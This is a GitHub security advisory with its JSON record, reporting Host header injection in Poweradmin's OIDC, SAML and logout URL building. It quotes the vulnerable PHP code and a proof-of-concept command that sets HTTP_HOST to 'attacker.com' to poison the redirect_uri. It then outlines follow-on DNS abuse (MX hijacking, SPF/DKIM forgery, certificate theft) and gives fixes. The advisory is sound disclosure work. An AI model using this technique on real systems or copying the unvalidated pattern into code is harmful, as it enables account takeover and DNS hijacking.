GHSA-3735-5339-XFWX
Vulnerability from github – Published: 2026-07-28 16:40 – Updated: 2026-07-28 16:40Summary
Poweradmin v4.3.2 uses the attacker-controlled HTTP_HOST request header as the
authoritative source for building callback URLs in its OIDC, SAML, and logout
authentication flows without any validation. An unauthenticated attacker can poison
the redirect_uri sent to the Identity Provider, causing the IdP to redirect the
victim's authorization code to an attacker-controlled server - resulting in full
account takeover with no credentials required.
Three independent code paths are affected:
- Primary (Critical):
OidcService::getCallbackUrl()-redirect_uripoisoning - Secondary (High):
SamlConfigurationService::getBaseUrl()- SAML ACS/SLO URL poisoning - Tertiary (Medium):
LogoutController::getBaseUrl()- post-logout redirect poisoning
Details
Root Cause
The application constructs absolute URLs dynamically from HTTP_HOST rather than
from a trusted configured base URL. The header is fully client-controlled and is not
validated before use in any authentication flow.
Poweradmin's own codebase contains the correct pattern -
DocsController::getValidatedHost() (line 244) calls isValidHostname() before
using the value - but this was never applied to authentication flows.
### Primary: lib/Application/Service/OidcService.php (~line 460)
```php private function getCallbackUrl(): string { $scheme = $this->detectScheme(); // HTTP_HOST taken directly with zero validation $host = $this->request->getServerParam('HTTP_HOST', 'localhost'); $basePrefix = $this->configManager->get('interface', 'base_url_prefix', ''); return $scheme . '://' . $host . $basePrefix . '/oidc/callback'; }
HTTP_HOST is embedded verbatim as redirect_uri in the OAuth 2.0 authorization request sent to the IdP. HTTP_X_FORWARDED_PROTO is similarly used unvalidated for scheme detection.
Secondary: lib/Application/Service/SamlConfigurationService.php (~line 134)
private function getBaseUrl(): string { $configuredBaseUrl = $this->configManager->get('interface', 'base_url', ''); if (!empty($configuredBaseUrl)) { return rtrim($configuredBaseUrl, '/'); // safe path - rarely configured } // Falls through on every default installation $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; ... return $scheme . '://' . $host . $prefix; }
Used to construct SAML ACS URL, SLO URL, and entity ID - all poisonable via Host header. The safe fallback only activates when interface.base_url is explicitly set, which is optional and empty by default.
Tertiary: lib/Application/Controller/LogoutController.php (~line 272)
Same $_SERVER['HTTP_HOST'] pattern used for post-logout redirect URL construction.
PoC
Environment: Poweradmin v4.3.2, Docker, PHP 8.2, OIDC enabled, interface.base_url empty (default).
docker exec poweradmin-container php -r " require '/app/vendor/autoload.php'; putenv('PA_CONFIG_PATH=/app/config/settings.php');
use PowerAdmin\Application\Service\OidcService; use PowerAdmin\Infrastructure\Configuration\ConfigurationManager; use PowerAdmin\Infrastructure\Web\Request;
\$_SERVER['HTTP_HOST'] = 'attacker.com'; \$_SERVER['HTTPS'] = '';
\$config = ConfigurationManager::getInstance(); \$request = new Request(); \$oidcService = new OidcService(\$config, \$request); \$authUrl = \$oidcService->initiateAuthFlow('test');
parse_str(parse_url(\$authUrl, PHP_URL_QUERY), \$p); echo 'redirect_uri: ' . urldecode(\$p['redirect_uri']) . PHP_EOL;
if (str_contains(\$p['redirect_uri'], 'attacker.com')) { echo '[CONFIRMED] Host header injection successful' . PHP_EOL; } "
Output:
redirect_uri: http://attacker.com/oidc/callback
[CONFIRMED] Host header injection successful - redirect_uri contains attacker.com
The redirect_uri in the authorization request sent to the Identity Provider is http://attacker.com/oidc/callback. The victim's authorization code will be delivered to this URL upon successful authentication.
Note on PKCE: PKCE does not mitigate this attack. The attacker initiates the flow themselves and controls both code_challenge and code_verifier.
Impact
Direct Impact
An attacker who can send a request with a spoofed Host header - directly or via a misconfigured reverse proxy (proxy_set_header Host $http_host is the nginx default) - can steal any user's authorization code and gain full authenticated access to Poweradmin. No credentials, malware, or prior access required.
DNS Infrastructure Impact
Poweradmin manages PowerDNS. A compromised administrator account grants full DNS zone control, enabling:
- MX hijacking - redirect all inbound email to attacker's mail server; intercept password reset emails and 2FA codes for any third-party service registered with the domain
- SPF/DKIM manipulation - add attacker's IP to SPF, publish attacker's DKIM key → send cryptographically authenticated email as the organization (passes DMARC)
- Subdomain takeover - point mail., vpn., app. to attacker infrastructure
- SSL certificate theft - remove CAA records and complete ACME DNS-01 challenge to obtain wildcard certificate *.company.com from any CA
- Full domain delegation - delegate subdomains to attacker nameserver
CVSS v3.1
┌──────────────────────────────────┬─────────────────────────────────────┬──────────────┐ │ Scenario │ Vector │ Score │ ├──────────────────────────────────┼─────────────────────────────────────┼──────────────┤ │ Standard deployment │ AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L │ 8.2 High │ ├──────────────────────────────────┼─────────────────────────────────────┼──────────────┤ │ Proxy misconfigured ($http_host) │ AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L │ 9.3 Critical │ └──────────────────────────────────┴─────────────────────────────────────┴──────────────┘
Recommended Fix
Immediate mitigation: Set interface.base_url in config/settings.php - activates the safe branch in SamlConfigurationService immediately.
Code fix for OidcService: Prefer the configured base URL; if absent, validate HTTP_HOST via filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME) before use - the same pattern already implemented in DocsController::getValidatedHost().
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "poweradmin/poweradmin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "poweradmin/poweradmin"
},
"ranges": [
{
"events": [
{
"introduced": "4.3.0"
},
{
"fixed": "4.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54588"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-28T16:40:05Z",
"nvd_published_at": "2026-06-23T23:16:49Z",
"severity": "CRITICAL"
},
"details": "### Summary\nPoweradmin v4.3.2 uses the attacker-controlled `HTTP_HOST` request header as the\n authoritative source for building callback URLs in its OIDC, SAML, and logout\n authentication flows without any validation. An unauthenticated attacker can poison\n the `redirect_uri` sent to the Identity Provider, causing the IdP to redirect the\n victim\u0027s authorization code to an attacker-controlled server - resulting in full\n account takeover with no credentials required.\n\n Three independent code paths are affected:\n\n - **Primary (Critical):** `OidcService::getCallbackUrl()` - `redirect_uri` poisoning\n - **Secondary (High):** `SamlConfigurationService::getBaseUrl()` - SAML ACS/SLO URL poisoning\n - **Tertiary (Medium):** `LogoutController::getBaseUrl()` - post-logout redirect poisoning\n\n### Details\n\n***Root Cause***\n\n The application constructs absolute URLs dynamically from `HTTP_HOST` rather than\n from a trusted configured base URL. The header is fully client-controlled and is not\n validated before use in any authentication flow.\n\n Poweradmin\u0027s own codebase contains the correct pattern -\n `DocsController::getValidatedHost()` (line 244) calls `isValidHostname()` before\n using the value - but this was never applied to authentication flows.\n\n ### Primary: `lib/Application/Service/OidcService.php` (~line 460)\n\n ```php\n private function getCallbackUrl(): string\n {\n $scheme = $this-\u003edetectScheme();\n // HTTP_HOST taken directly with zero validation\n $host = $this-\u003erequest-\u003egetServerParam(\u0027HTTP_HOST\u0027, \u0027localhost\u0027);\n $basePrefix = $this-\u003econfigManager-\u003eget(\u0027interface\u0027, \u0027base_url_prefix\u0027, \u0027\u0027);\n return $scheme . \u0027://\u0027 . $host . $basePrefix . \u0027/oidc/callback\u0027;\n }\n\n HTTP_HOST is embedded verbatim as redirect_uri in the OAuth 2.0 authorization\n request sent to the IdP. HTTP_X_FORWARDED_PROTO is similarly used unvalidated\n for scheme detection.\n\n Secondary: lib/Application/Service/SamlConfigurationService.php (~line 134)\n\n private function getBaseUrl(): string\n {\n $configuredBaseUrl = $this-\u003econfigManager-\u003eget(\u0027interface\u0027, \u0027base_url\u0027, \u0027\u0027);\n if (!empty($configuredBaseUrl)) {\n return rtrim($configuredBaseUrl, \u0027/\u0027); // safe path - rarely configured\n }\n // Falls through on every default installation\n $host = $_SERVER[\u0027HTTP_HOST\u0027] ?? \u0027localhost\u0027;\n ...\n return $scheme . \u0027://\u0027 . $host . $prefix;\n }\n\n Used to construct SAML ACS URL, SLO URL, and entity ID - all poisonable via Host header.\n The safe fallback only activates when interface.base_url is explicitly set, which is\n optional and empty by default.\n\n Tertiary: lib/Application/Controller/LogoutController.php (~line 272)\n\n Same $_SERVER[\u0027HTTP_HOST\u0027] pattern used for post-logout redirect URL construction.\n\n### PoC\nEnvironment: Poweradmin v4.3.2, Docker, PHP 8.2, OIDC enabled, interface.base_url empty (default).\n\n docker exec poweradmin-container php -r \"\n require \u0027/app/vendor/autoload.php\u0027;\n putenv(\u0027PA_CONFIG_PATH=/app/config/settings.php\u0027);\n\n use PowerAdmin\\Application\\Service\\OidcService;\n use PowerAdmin\\Infrastructure\\Configuration\\ConfigurationManager;\n use PowerAdmin\\Infrastructure\\Web\\Request;\n\n \\$_SERVER[\u0027HTTP_HOST\u0027] = \u0027attacker.com\u0027;\n \\$_SERVER[\u0027HTTPS\u0027] = \u0027\u0027;\n\n \\$config = ConfigurationManager::getInstance();\n \\$request = new Request();\n \\$oidcService = new OidcService(\\$config, \\$request);\n \\$authUrl = \\$oidcService-\u003einitiateAuthFlow(\u0027test\u0027);\n\n parse_str(parse_url(\\$authUrl, PHP_URL_QUERY), \\$p);\n echo \u0027redirect_uri: \u0027 . urldecode(\\$p[\u0027redirect_uri\u0027]) . PHP_EOL;\n\n if (str_contains(\\$p[\u0027redirect_uri\u0027], \u0027attacker.com\u0027)) {\n echo \u0027[CONFIRMED] Host header injection successful\u0027 . PHP_EOL;\n }\n \"\n\n Output:\n\n redirect_uri: http://attacker.com/oidc/callback\n\n [CONFIRMED] Host header injection successful - redirect_uri contains attacker.com\n\n The redirect_uri in the authorization request sent to the Identity Provider is\n http://attacker.com/oidc/callback. The victim\u0027s authorization code will be\n delivered to this URL upon successful authentication.\n\n Note on PKCE: PKCE does not mitigate this attack. The attacker initiates the\n flow themselves and controls both code_challenge and code_verifier.\n\n### Impact\nDirect Impact\n\n An attacker who can send a request with a spoofed Host header - directly or via a\n misconfigured reverse proxy (proxy_set_header Host $http_host is the nginx default) -\n can steal any user\u0027s authorization code and gain full authenticated access to Poweradmin.\n No credentials, malware, or prior access required.\n\n DNS Infrastructure Impact\n\n Poweradmin manages PowerDNS. A compromised administrator account grants full DNS zone\n control, enabling:\n\n - MX hijacking - redirect all inbound email to attacker\u0027s mail server; intercept\n password reset emails and 2FA codes for any third-party service registered with the domain\n - SPF/DKIM manipulation - add attacker\u0027s IP to SPF, publish attacker\u0027s DKIM key \u2192\n send cryptographically authenticated email as the organization (passes DMARC)\n - Subdomain takeover - point mail., vpn., app. to attacker infrastructure\n - SSL certificate theft - remove CAA records and complete ACME DNS-01 challenge\n to obtain wildcard certificate *.company.com from any CA\n - Full domain delegation - delegate subdomains to attacker nameserver\n\n CVSS v3.1\n\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 Scenario \u2502 Vector \u2502 Score \u2502\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n \u2502 Standard deployment \u2502 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L \u2502 8.2 High \u2502\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n \u2502 Proxy misconfigured ($http_host) \u2502 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L \u2502 9.3 Critical \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n Recommended Fix\n\n Immediate mitigation: Set interface.base_url in config/settings.php -\n activates the safe branch in SamlConfigurationService immediately.\n\n Code fix for OidcService: Prefer the configured base URL; if absent, validate\n HTTP_HOST via filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)\n before use - the same pattern already implemented in DocsController::getValidatedHost().",
"id": "GHSA-3735-5339-xfwx",
"modified": "2026-07-28T16:40:05Z",
"published": "2026-07-28T16:40:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/poweradmin/poweradmin/security/advisories/GHSA-3735-5339-xfwx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54588"
},
{
"type": "PACKAGE",
"url": "https://github.com/poweradmin/poweradmin"
},
{
"type": "WEB",
"url": "https://github.com/poweradmin/poweradmin/releases/tag/v4.2.4"
},
{
"type": "WEB",
"url": "https://github.com/poweradmin/poweradmin/releases/tag/v4.3.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction."
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.